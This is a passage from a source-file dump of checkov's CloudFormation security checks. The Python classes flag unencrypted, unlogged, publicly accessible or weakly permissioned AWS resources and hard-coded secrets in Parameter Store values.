    "content": "from __future__ import annotations\n\nfrom typing import List, Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass LambdaServicePermission(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount\"\n        id = \"CKV_AWS_364\"\n        supported_resources = (\"AWS::Lambda::Permission\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get('Properties')\n        if properties and isinstance(properties, dict):\n            principal = properties.get('Principal')\n            if principal and isinstance(principal, str):\n                principal_parts = principal.split('.')\n                try:\n                    if principal_parts[1] == 'amazonaws' and principal_parts[2] == 'com':\n                        if properties.get('SourceArn') or properties.get('SourceAccount'):\n                            return CheckResult.PASSED\n                        else:\n                            return CheckResult.FAILED\n                except IndexError:\n                    # Not a service principal, so pass.\n                    return CheckResult.UNKNOWN\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['Properties/Principal', 'Properties/SourceArn', 'Properties/SourceAccount']\n\n\ncheck = LambdaServicePermission()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/LaunchConfigurationEBSEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass LaunchConfigurationEBSEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the Launch configuration EBS is securely encrypted\"\n        id = \"CKV_AWS_8\"\n        supported_resources = ['AWS::AutoScaling::LaunchConfiguration']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        \"\"\"\n        Looks for encryption configuration of device block mapping in an AWS launch configurations\n        https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-as-launchconfig-blockdev-template.html\n        :param conf: aws_launch_configuration configuration\n        :return: <CheckResult>\n        \"\"\"\n        self.evaluated_keys = ['Properties']\n        properties = conf.get('Properties', {})\n        if properties is None:\n            return CheckResult.UNKNOWN\n        block_device_mappings = properties.get('BlockDeviceMappings')\n        if block_device_mappings is None:\n            return CheckResult.UNKNOWN\n        if not isinstance(block_device_mappings, list):\n            return CheckResult.UNKNOWN\n        for idx, block_device_mapping in enumerate(block_device_mappings):\n            if not isinstance(block_device_mapping, dict):\n                return CheckResult.UNKNOWN\n            if block_device_mapping.get('Ebs'):\n                if not block_device_mapping['Ebs'].get('Encrypted'):\n                    self.evaluated_keys = [f'Properties/BlockDeviceMappings/[{idx}]/Ebs/Encrypted']\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = LaunchConfigurationEBSEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/MQBrokerAuditLogging.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass MQBrokerAuditLogging(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MQ Broker Audit logging is enabled\"\n        id = \"CKV_AWS_197\"\n        supported_resources = (\"AWS::AmazonMQ::Broker\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        # https://docs.aws.amazon.com/amazon-mq/latest/developer-guide/security-logging-monitoring-rabbitmq.html\n        # Audit logging is not supported for RabbitMQ brokers.\n        engine_type = conf.get(\"Properties\", {}).get(\"EngineType\")\n        if isinstance(engine_type, str) and engine_type.upper() == \"RABBITMQ\":\n            return CheckResult.UNKNOWN\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/Logs/Audit\"\n\n\ncheck = MQBrokerAuditLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/MSKClusterEncryption.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass MSKClusterEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MSK Cluster encryption in rest and transit is enabled\"\n        id = \"CKV_AWS_81\"\n        supported_resources = ['AWS::MSK::Cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> Any:\n        # Note: As long as the 'EncryptionInfo' block is specified, the cluster\n        # will be encrypted at rest even if 'DataVolumeKMSKeyId' is not specified\n        if 'Properties' in conf.keys():\n            if 'EncryptionInfo' in conf['Properties'].keys():\n                encryption = conf['Properties']['EncryptionInfo']\n                if 'EncryptionInTransit' in encryption:\n                    transit = encryption['EncryptionInTransit']\n                    if 'ClientBroker' in transit and transit['ClientBroker'] != 'TLS' or \\\n                            'InCluster' in transit and transit['InCluster'] is False:\n                        return CheckResult.FAILED\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['Properties/EncryptionInfo/EncryptionInTransit/ClientBroker',\n                'Properties/EncryptionInfo/EncryptionInTransit/InCluster']\n\n\ncheck = MSKClusterEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/MSKClusterLogging.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass MSKClusterLogging(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MSK Cluster logging is enabled\"\n        id = \"CKV_AWS_80\"\n        supported_resources = ['AWS::MSK::Cluster']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if 'Properties' in conf.keys():\n            self.evaluated_keys = ['Properties']\n            if 'LoggingInfo' in conf['Properties'].keys():\n                self.evaluated_keys = ['Properties/LoggingInfo']\n                if 'BrokerLogs' in conf['Properties']['LoggingInfo'].keys():\n                    logging = conf['Properties']['LoggingInfo']['BrokerLogs']\n                    types = [\"CloudWatchLogs\", \"Firehose\", \"S3\"]\n                    for x in types:\n                        if x in logging and 'Enabled' in logging[x] and logging[x]['Enabled'] is True:\n                            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = MSKClusterLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/MSKClusterNodesArePrivate.py",
    "content": "from typing import Any, List\n\nfrom checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MSKClusterNodesArePrivate(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MSK nodes are private\"\n        id = \"CKV_AWS_291\"\n        supported_resources = ['AWS::MSK::Cluster']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'Properties/BrokerNodeGroupInfo/ConnectivityInfo/PublicAccess/Type'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [\"SERVICE_PROVIDED_EIPS\"]\n\n\ncheck = MSKClusterNodesArePrivate()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/NeptuneClusterBackupRetention.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass NeptuneClusterBackupRetention(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Neptune DB cluster has automated backups enabled with adequate retention\"\n        id = \"CKV_AWS_361\"\n        supported_resources = (\"AWS::Neptune::DBCluster\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        backup_retention = conf.get(\"Properties\", {}).get(\"BackupRetentionPeriod\", 1)\n        if backup_retention >= 7:\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"Properties/BackupRetentionPeriod\"]\n\n\ncheck = NeptuneClusterBackupRetention()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/NeptuneClusterInstancePublic.py",
    "content": "# CloudFormation does not currently support and probably will never\n#\n# June 2022\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/NeptuneClusterInstancePublic.py\n#\n# check_id: CKV_AWS_102\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/NeptuneClusterLogging.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass NeptuneClusterLogging(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Neptune logging is enabled\"\n        id = \"CKV_AWS_101\"\n        supported_resources = (\"AWS::Neptune::DBCluster\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        logs_exports = conf.get(\"Properties\", {}).get(\"EnableCloudwatchLogsExports\", [])\n        if \"audit\" in logs_exports:\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"Properties/EnableCloudwatchLogsExports\"]\n\n\ncheck = NeptuneClusterLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/NeptuneClusterStorageEncrypted.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass NeptuneClusterStorageEncrypted(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Neptune storage is securely encrypted\"\n        id = \"CKV_AWS_44\"\n        supported_resources = (\"AWS::Neptune::DBCluster\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/StorageEncrypted\"\n\n\ncheck = NeptuneClusterStorageEncrypted()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ParameterStoreCredentials.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.secrets import AWS, GENERAL, PASSWORD, get_secrets_from_string\n\n\nclass ParameterStoreCredentials(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard-coded secrets exist in Parameter Store values\"\n        id = \"CKV_AWS_384\"\n        supported_resources = (\"AWS::SSM::Parameter\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def is_dynamic_value(self, value: str) -> bool:\n        patterns = [\n            r\"\\$\\{.*?\\}\",  # ${...}\n            r\"\\{\\{.*?\\}\\}\",  # {{...}}\n            r\"\\$\\(.*?\\)\",  # $(...)\n            r\"!Ref\\s+\\w+\",  # !Ref SomeResource\n            r\"!Sub\\s+'.*?'\",  # !Sub '...'\n        ]\n        return any(re.search(pattern, value) for pattern in patterns)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"Properties/Value\"]\n        properties = conf.get(\"Properties\")\n        if isinstance(properties, dict):\n            name = properties.get(\"Name\")\n            if name and re.match(\"(?i).*secret.*|.*api_?key.*\", str(name)):\n                value = properties.get(\"Value\")\n                if value:\n                    # If unresolved variable, then pass\n                    if isinstance(value, dict):\n                        return CheckResult.PASSED\n                    # If unresolved variable, then pass 2\n                    if re.match(r\".*\\$\\{.*}.*\", value):\n                        return CheckResult.PASSED\n                    if (re.match(\"(?i)(.*test.*|.*example.*)\", name) or\n                            re.match(\"(?i)(.*test.*|.*example.*)\", value)):\n                        return CheckResult.PASSED\n                    secret = get_secrets_from_string(str(value), AWS, GENERAL, PASSWORD)\n                    if secret:\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ParameterStoreCredentials()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/PasswordPolicyExpiration.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyExpiration.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/PasswordPolicyLength.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyLength.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/PasswordPolicyLowercaseLetter.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyLowercaseLetter.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/PasswordPolicyNumber.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyNumber.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/PasswordPolicyReuse.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyReuse.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/PasswordPolicySymbol.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicySymbol.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/PasswordPolicyUppercaseLetter.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyUppercaseLetter.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/QLDBLedgerDeletionProtection.py",
    "content": "from typing import Dict\n\nfrom checkov.common.parsers.node import StrNode, DictNode\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass QLDBLedgerDeletionProtection(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure QLDB ledger has deletion protection enabled\"\n        id = \"CKV_AWS_172\"\n        supported_resources = [\"AWS::QLDB::Ledger\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[StrNode, DictNode]) -> CheckResult:\n        # deletion protection is enabled on default\n        if \"DeletionProtection\" not in conf.get(\"Properties\", {}):\n            return CheckResult.PASSED\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/DeletionProtection\"\n\n\ncheck = QLDBLedgerDeletionProtection()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/QLDBLedgerPermissionsMode.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass QLDBLedgerPermissionsMode(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure QLDB ledger permissions mode is set to STANDARD\"\n        id = \"CKV_AWS_170\"\n        supported_resources = [\"AWS::QLDB::Ledger\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/PermissionsMode\"\n\n    def get_expected_value(self) -> str:\n        return \"STANDARD\"\n\n\ncheck = QLDBLedgerPermissionsMode()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RDSClusterIAMAuthentication.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RDSClusterIAMAuthentication(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure RDS cluster has IAM authentication enabled\"\n        id = \"CKV_AWS_162\"\n        supported_resources = [\"AWS::RDS::DBCluster\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/EnableIAMDatabaseAuthentication\"\n\n\ncheck = RDSClusterIAMAuthentication()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RDSEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RDSEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the RDS is securely encrypted at rest\"\n        id = \"CKV_AWS_16\"\n        supported_resources = ['AWS::RDS::DBInstance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # If DB is Aurora then Encryption is set in other resource\n        # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-rds-database-instance.html#cfn-rds-dbinstance-storageencrypted\n        if 'Properties' in conf.keys():\n            if 'Engine' in conf['Properties'].keys():\n                if 'aurora' in conf['Properties']['Engine']:\n                    return CheckResult.UNKNOWN\n        # Database is not Aurora; Use base class implementation\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return 'Properties/StorageEncrypted'\n\n\ncheck = RDSEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RDSEnhancedMonitorEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RDSEnhancedMonitorEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that enhanced monitoring is enabled for Amazon RDS instances\"\n        id = \"CKV_AWS_118\"\n        supported_resources = (\"AWS::RDS::DBInstance\",)  # AWS::RDS::DBCluster doesn't support this config\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/MonitoringInterval\"\n\n    def get_expected_values(self) -> list[Any]:\n        # supports int and str\n        return [1, 5, 10, 15, 30, 60, \"1\", \"5\", \"10\", \"15\", \"30\", \"60\"]\n\n\ncheck = RDSEnhancedMonitorEnabled()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RDSIAMAuthentication.py",
    "content": "from checkov.common.parsers.node import DictNode\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RDSIAMAuthentication(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure RDS database has IAM authentication enabled\"\n        id = \"CKV_AWS_161\"\n        supported_resources = [\"AWS::RDS::DBInstance\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/EnableIAMDatabaseAuthentication\"\n\n    def scan_resource_conf(self, conf: DictNode) -> CheckResult:\n        # IAM authentication is only supported for MySQL and PostgreSQL\n        engine = conf.get(\"Properties\", {}).get(\"Engine\", {})\n        if engine not in (\"mysql\", \"postgres\"):\n            return CheckResult.UNKNOWN\n\n        return super().scan_resource_conf(conf)\n\n\ncheck = RDSIAMAuthentication()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RDSMultiAZEnabled.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RDSMultiAZEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that RDS instances have Multi-AZ enabled\"\n        id = \"CKV_AWS_157\"\n        supported_resources = (\"AWS::RDS::DBInstance\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # Aurora is replicated across all AZs and doesn't require MultiAZ to be set\n        # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-rds-dbinstance.html#cfn-rds-dbinstance-multiaz\n        if 'Properties' in conf.keys():\n            if 'Engine' in conf['Properties'].keys():\n                if 'aurora' in conf['Properties']['Engine']:\n                    return CheckResult.UNKNOWN\n        # Database is not Aurora; Use base class implementation\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return 'Properties/MultiAZ'\n\n\ncheck = RDSMultiAZEnabled()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RDSPubliclyAccessible.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass RDSPubliclyAccessible(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure all data stored in RDS is not publicly accessible\"\n        id = \"CKV_AWS_17\"\n        supported_resources = ['AWS::RDS::DBInstance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_expected_value(self):\n        return False\n\n    def get_inspected_key(self):\n        return 'Properties/PubliclyAccessible'\n\n\ncheck = RDSPubliclyAccessible()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RedShiftSSL.py",
    "content": "from typing import List\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.parsers.node import DictNode\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass RedShiftSSL(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Redshift uses SSL\"\n        id = \"CKV_AWS_105\"\n        supported_resources = [\"AWS::Redshift::ClusterParameterGroup\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: DictNode) -> CheckResult:\n        params = conf.get(\"Properties\", {}).get(\"Parameters\", {})\n\n        for param in params:\n            if param.get(\"ParameterName\") == \"require_ssl\":\n                value = param.get(\"ParameterValue\")\n                if isinstance(value, bool):\n                    value = str(value).lower()\n                if value == \"true\":\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['Properties', 'Properties/Parameters']\n\n\ncheck = RedShiftSSL()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RedshiftClusterEncryption.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RedshiftClusterEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the Redshift cluster is securely encrypted at rest\"\n        id = \"CKV_AWS_64\"\n        supported_resources = [\"AWS::Redshift::Cluster\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/Encrypted\"\n\n\ncheck = RedshiftClusterEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RedshiftClusterLogging.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RedshiftClusterLogging(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Redshift Cluster logging is enabled\"\n        id = \"CKV_AWS_71\"\n        supported_resources = [\"AWS::Redshift::Cluster\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/LoggingProperties/BucketName\"\n\n    def get_expected_value(self) -> str:\n        return ANY_VALUE\n\n\ncheck = RedshiftClusterLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RedshiftClusterPubliclyAccessible.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RedshiftClusterPubliclyAccessible(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Redshift cluster should not be publicly accessible\"\n        id = \"CKV_AWS_87\"\n        supported_resources = [\"AWS::Redshift::Cluster\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/PubliclyAccessible\"\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = RedshiftClusterPubliclyAccessible()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/RedshiftInEc2ClassicMode.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RedshiftInEc2ClassicMode(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Redshift is not deployed outside of a VPC\"\n        id = \"CKV_AWS_154\"\n        supported_resources = [\"AWS::Redshift::Cluster\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/ClusterSubnetGroupName\"\n\n    def get_expected_value(self) -> str:\n        return ANY_VALUE\n\n\ncheck = RedshiftInEc2ClassicMode()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/S3AccessLogs.py",
    "content": "from typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3AccessLogs(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure the S3 bucket has access logging enabled\"\n        id = \"CKV_AWS_18\"\n        supported_resources = ['AWS::S3::Bucket']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/LoggingConfiguration\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = S3AccessLogs()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/S3BlockPublicACLs.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3BlockPublicACLs(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure S3 bucket has block public ACLs enabled\"\n        id = \"CKV_AWS_53\"\n        supported_resources = ['AWS::S3::Bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/PublicAccessBlockConfiguration/BlockPublicAcls'\n\n\ncheck = S3BlockPublicACLs()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/S3BlockPublicPolicy.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3BlockPublicPolicy(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure S3 bucket has block public policy enabled\"\n        id = \"CKV_AWS_54\"\n        supported_resources = ['AWS::S3::Bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/PublicAccessBlockConfiguration/BlockPublicPolicy'\n\n\ncheck = S3BlockPublicPolicy()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/S3Encryption.py",
